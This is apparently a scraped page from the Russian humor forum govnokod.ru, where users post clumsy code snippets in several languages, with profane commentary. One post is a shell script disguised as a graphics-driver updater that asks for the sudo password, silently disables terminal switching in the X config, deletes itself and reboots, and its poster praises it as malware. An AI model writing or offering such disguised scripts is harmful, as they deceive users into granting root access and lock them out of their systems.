- 1
Рубрика "плагины к Kodi" вернулась!
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
Рубрика "плагины к Kodi" вернулась!
http://kodi-addons.club/addon/plugin.video.viks.tv/4.2.0
Качаем, открываем epg.db (формат sqlite), охуеваем. Можно еще поизучать файлы напитоне.
0
def _get_list(self, string):
"""
response to list parser, removes CSV list headers
"""
def f(x):
return x != '' and \
x != 'Created,e-Voucher number,Activation code,Currency,Batch,Payer Account,Payee Account,Activated,Amount' and \
x != 'Time,Type,Batch,Currency,Amount,Fee,Payer Account,Payee Account,Payment ID,Memo'
if not string:
return []
rlist = string.split('\n')
return filter(f, rlist)
https://perfectmoney.is/acct/samples/python/class.txt
Класс для работы с платёжным API
0
function sha256_process_block(buffer, len, ctx)
{
var words = buffer;
var nwords = len / 4;
var endp = words + nwords;
var x = [];
var a = ctx[0][0];
var b = ctx[0][1];
var c = ctx[0][2];
var d = ctx[0][3];
var e = ctx[0][4];
var f = ctx[0][5];
var g = ctx[0][6];
var h = ctx[0][7];
ctx[1][0] += len;
if(ctx[1][0] < len)
ctx[1][1]++;
while (words < endp)
{
var tm, t0, t1;
for(var t = 0; t < 16; t++)
{
x[t] = SWAP(words);
words++;
}
R( a, b, c, d, e, f, g, h, K( 0), x[ 0] );
R( h, a, b, c, d, e, f, g, K( 1), x[ 1] );
R( g, h, a, b, c, d, e, f, K( 2), x[ 2] );
R( f, g, h, a, b, c, d, e, K( 3), x[ 3] );
R( e, f, g, h, a, b, c, d, K( 4), x[ 4] );
R( d, e, f, g, h, a, b, c, K( 5), x[ 5] );
R( c, d, e, f, g, h, a, b, K( 6), x[ 6] );
R( b, c, d, e, f, g, h, a, K( 7), x[ 7] );
R( a, b, c, d, e, f, g, h, K( 8), x[ 8] );
R( h, a, b, c, d, e, f, g, K( 9), x[ 9] );
R( g, h, a, b, c, d, e, f, K(10), x[10] );
R( f, g, h, a, b, c, d, e, K(11), x[11] );
R( e, f, g, h, a, b, c, d, K(12), x[12] );
R( d, e, f, g, h, a, b, c, K(13), x[13] );
R( c, d, e, f, g, h, a, b, K(14), x[14] );
R( b, c, d, e, f, g, h, a, K(15), x[15] );
R( a, b, c, d, e, f, g, h, K(16), M(16, tm, x) );
R( h, a, b, c, d, e, f, g, K(17), M(17, tm, x) );
R( g, h, a, b, c, d, e, f, K(18), M(18, tm, x) );
R( f, g, h, a, b, c, d, e, K(19), M(19, tm, x) );
R( e, f, g, h, a, b, c, d, K(20), M(20, tm, x) );
R( d, e, f, g, h, a, b, c, K(21), M(21, tm, x) );
R( c, d, e, f, g, h, a, b, K(22), M(22, tm, x) );
R( b, c, d, e, f, g, h, a, K(23), M(23, tm, x) );
R( a, b, c, d, e, f, g, h, K(24), M(24, tm, x) );
R( h, a, b, c, d, e, f, g, K(25), M(25, tm, x) );
R( g, h, a, b, c, d, e, f, K(26), M(26, tm, x) );
R( f, g, h, a, b, c, d, e, K(27), M(27, tm, x) );
R( e, f, g, h, a, b, c, d, K(28), M(28, tm, x) );
R( d, e, f, g, h, a, b, c, K(29), M(29, tm, x) );
R( c, d, e, f, g, h, a, b, K(30), M(30, tm, x) );
R( b, c, d, e, f, g, h, a, K(31), M(31, tm, x) );
R( a, b, c, d, e, f, g, h, K(32), M(32, tm, x) );
R( h, a, b, c, d, e, f, g, K(33), M(33, tm, x) );
R( g, h, a, b, c, d, e, f, K(34), M(34, tm, x) );
R( f, g, h, a, b, c, d, e, K(35), M(35, tm, x) );
R( e, f, g, h, a, b, c, d, K(36), M(36, tm, x) );
R( d, e, f, g, h, a, b, c, K(37), M(37, tm, x) );
R( c, d, e, f, g, h, a, b, K(38), M(38, tm, x) );
R( b, c, d, e, f, g, h, a, K(39), M(39, tm, x) );
R( a, b, c, d, e, f, g, h, K(40), M(40, tm, x) );
R( h, a, b, c, d, e, f, g, K(41), M(41, tm, x) );
R( g, h, a, b, c, d, e, f, K(42), M(42, tm, x) );
R( f, g, h, a, b, c, d, e, K(43), M(43, tm, x) );
R( e, f, g, h, a, b, c, d, K(44), M(44, tm, x) );
R( d, e, f, g, h, a, b, c, K(45), M(45, tm, x) );
R( c, d, e, f, g, h, a, b, K(46), M(46, tm, x) );
R( b, c, d, e, f, g, h, a, K(47), M(47, tm, x) );
R( a, b, c, d, e, f, g, h, K(48), M(48, tm, x) );
R( h, a, b, c, d, e, f, g, K(49), M(49, tm, x) );
R( g, h, a, b, c, d, e, f, K(50), M(50, tm, x) );
R( f, g, h, a, b, c, d, e, K(51), M(51, tm, x) );
R( e, f, g, h, a, b, c, d, K(52), M(52, tm, x) );
R( d, e, f, g, h, a, b, c, K(53), M(53, tm, x) );
R( c, d, e, f, g, h, a, b, K(54), M(54, tm, x) );
R( b, c, d, e, f, g, h, a, K(55), M(55, tm, x) );
R( a, b, c, d, e, f, g, h, K(56), M(56, tm, x) );
R( h, a, b, c, d, e, f, g, K(57), M(57, tm, x) );
R( g, h, a, b, c, d, e, f, K(58), M(58, tm, x) );
R( f, g, h, a, b, c, d, e, K(59), M(59, tm, x) );
R( e, f, g, h, a, b, c, d, K(60), M(60, tm, x) );
R( d, e, f, g, h, a, b, c, K(61), M(61, tm, x) );
R( c, d, e, f, g, h, a, b, K(62), M(62, tm, x) );
R( b, c, d, e, f, g, h, a, K(63), M(63, tm, x) );
a = ctx[0][0]+=a;
b = ctx[0][1]+=b;
c = ctx[0][1]+=b;
d = ctx[0][1]+=b;
e = ctx[0][1]+=b;
f = ctx[0][1]+=b;
g = ctx[0][1]+=b;
h = ctx[0][1]+=b;
}
}
Пытался переписать sha256 на js и заебался!
Это пиздец как сложно, сложнее только вынуть хуй который застрял в банке с шомпанским на новый год
0
#!/bin/sh
echo "Вас приветствует обновлятор видеокарты! Версия 1.0"
echo "Мы обновим ваш софт автоматически, введите пожалуйста пароль адимнистратора"
sudo echo -n "Установка..."
sudo echo -e 'Section "ServerFlags"\nOption "DontVTSwitch" "true"\nEndSection' >/etc/X11/xorg.conf.d/99-system.conf
let a=$RANDOM%15
let a+=7
sleep $a
echo "Установка завершена! Приятного использования"
sleep 1
rm $0
sudo reboot
Это идеальная вирусня! Потом юзер просто не сможет войти в термы. Можно блокать доступ к экрану и так далее
Можете не верить но вирусы на linux уже есть и дауны всякие кривожопые пользователи убунты не знают как их удалить
0
$price = $service->price ? number_format($service->discount
?
(
$service->discount && $service->discount < 100
?
round($service->price - ($service->price * $service->discount / 100), 2)
:
0
)
:
$service->price
, 2, '.', '')
: "";
0
https://pp.userapi.com/c841225/v841225007/529a0/yL9-zgjr3Lk.jpg
боян
+6
Говнокод.ру переезжает на новые сервера!
−1
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
public class Main implements ActionListener{
private JFrame frame;
private JTextArea area;
private JTextField fieldName, fieldAge, fieldWeight, fieldHeight, fieldSex;
private JButton button;
public static void main(String[] args) throws Exception{
Main main = new Main();
main.go();
}
public void go(){
frame = new JFrame();
JPanel panel = new JPanel();
JLabel labelName = new JLabel("Имя: ");
JLabel labelSex = new JLabel("Пол: ");
JLabel labelAge = new JLabel("Возраст: ");
JLabel labelWeight = new JLabel("Вес: ");
JLabel labelHeight = new JLabel("Рост: ");
fieldName = new JTextField(10);
fieldAge = new JTextField(10);
fieldWeight = new JTextField(10);
fieldHeight = new JTextField(10);
fieldSex = new JTextField(10);
area = new JTextArea(6, 73);
area.setWrapStyleWord(true);
area.setLineWrap(true);
button = new JButton("Расчитать");
button.addActionListener(this);
JScrollPane scroller = new JScrollPane(area);
scroller.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
scroller.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
panel.add(labelName);
panel.add(fieldName);
panel.add(labelSex);
panel.add(fieldSex);
panel.add(labelAge);
panel.add(fieldAge);
panel.add(labelWeight);
panel.add(fieldWeight);
panel.add(labelHeight);
panel.add(fieldHeight);
panel.add(area);
frame.getContentPane().add(BorderLayout.CENTER, panel);
frame.getContentPane().add(BorderLayout.SOUTH, button);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setSize(1000, 200);
frame.setTitle("Расход калорий");
frame.setVisible(true);
}
public double bmrM(){
return 88.362 + (13.397 * Integer.parseInt(fieldWeight.getText())) + (6.25 * Integer.parseInt(fieldHeight.getText())) - (5 * Integer.parseInt(fieldAge.getText())) + 5;
}
public double bmrW(){
return 88.362 + (13.397 * Integer.parseInt(fieldWeight.getText())) + (6.25 * Integer.parseInt(fieldHeight.getText())) - (5 * Integer.parseInt(fieldAge.getText())) - 161;
}
public void actionPerformed(ActionEvent event){
if (fieldSex.getText().equals("Мужской") || fieldSex.getText().equals("мужской")){
area.setText(fieldName.getText() + ", ваш расход в спокойном режиме(без тренировочного процесса) составляет - " + bmrM() + " калорий.");
}else{
area.setText(fieldName.getText() + ", ваш расход в спокойном режиме(без тренировочного процесса) составляет - " + bmrW() + " калорий.");
}
}
}
Программа по расчету калорий!
Помогите улучшить код! КАК СОКРАТИТЬ???
0
https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%BD%D0%BE%D1%82%D0%B0_%D0%BF%D0%BE_%D0%A2%D1%8C%D1%8E%D1%80%D0%B8%D0%BD%D0%B3%D1%83
> Некоторые языки программирования (Haskell, C++) обладают тьюринг-полнотой времени компиляции.
Ну блджад.
−1
uses crt;
var
n, c, d:text;//текстовые переменный сохранений
name:string;//имя игрока
namet, cot, dit:string;//имена файлов
co,di:real;//переменные в игре
cdi:integer;//переменные с курсом
dif:string;//комманды
pm:byte;//+-курс
col:integer;//выбор количества для продажи
procedure cur; //вывод курса
begin
writeln ('Курс алмаза - ',cdi,' монет(ы)');
end;
procedure newr; //изменение курса
begin
pm:=random(2);//курс алмазов +- в промежутке 5,10
if pm=1 then cdi:=cdi+random(5)+5 else cdi:=cdi-(random(5)+5);
cur();
end;
procedure buyco;
begin
write ('Сколько алмазов вы обменяете на монеты: ');
readln (col);
if col>di then
begin
writeln ('У вас нет такого количества алмазов, введите меньше');
write ('Сколько алмазов вы обменяете на монеты: ');
col:=0; readln (col);
end
else
begin
co:=co+(di*cdi); di:=di-col;
writeln ('Монет: ',co); writeln ('Алмазов: ',di);
end;
end;
procedure buydi;
begin
write ('Сколько монет вы обменяете на алмазы: ');
readln (col);
if col>co then
begin
writeln ('У вас нет такого количества монет, введите меньше');
write ('Сколько монет вы обменяете на алмазы: ');
col:=0;
readln (col);
end
else
begin
di:=di+((col*co)/cdi); co:=co-col;
writeln ('Монет: ',co); writeln ('Алмазов: ',di);
end;
end;
procedure buy;
begin
Writeln ('Введиде "co", если хотите купить монеты'); Writeln ('Введиде "di", если хотите купить алмазы');
Write ('Ввод: '); Readln (dif);
if dif = 'co' then buyco(); if dif = 'di' then buydi();
end;
procedure save;
begin
assign(n, namet);
rewrite (n);//cоздаём имена файлов
cot:=concat(name,'co.txt');
dit:=concat(name,'di.txt');
{создаём сохранения}assign (c, cot); rewrite(c); co:=5; write(c,co);
assign (d, dit); rewrite(d); di:=1; write(d,di);
writeln ('Монет: ',co); writeln ('Алмазов: ',di); writeln ('Игра ',name,' сохранена');
end;
begin
cdi:=random(20)+10; //Задаём начальный курс
write ('Введите ваше имя: '); readln (name);
namet:=concat(name,'.txt');
if FileExists(namet) then
begin
writeln ('Сохранение ',name,' обнаружено');
writeln ('Загружается сохранение...');
assign (n, namet);
reset(n);
cot:=concat(name,'co.txt');
dit:=concat(name,'di.txt');//"вспомиаем" имена файлов
assign (c, cot); reset(c); read(c,co);
assign (d, dit); reset(d); read(d,di);//загрузка сохранений
writeln ('Монет: ',co);
writeln ('Алмазов: ',di); //вывод данных из сохранений
end
else
begin
//создаём файл с именем игрока
writeln ('Сохранение ',name,' не обнаружено'); writeln ('Создаётся сохранение...');
save();
end;
repeat //бесконечный репит
write('Введите комманду: ');
readln(dif);
case dif of
'new' : newr(); 'cur' : cur(); 'buy' : buy();'save' : save();
else Writeln ('Такой команды нет'); end;
until dif='end'; close(n);close(c);close(d);
Ну вот. Одна из моих первых программ на паскале. Про переводы из одной валюты в другую с учётом курса. Есть даже сохранения.
Чёрт ногу сломит, я сам уже не понимаю, что тут написал.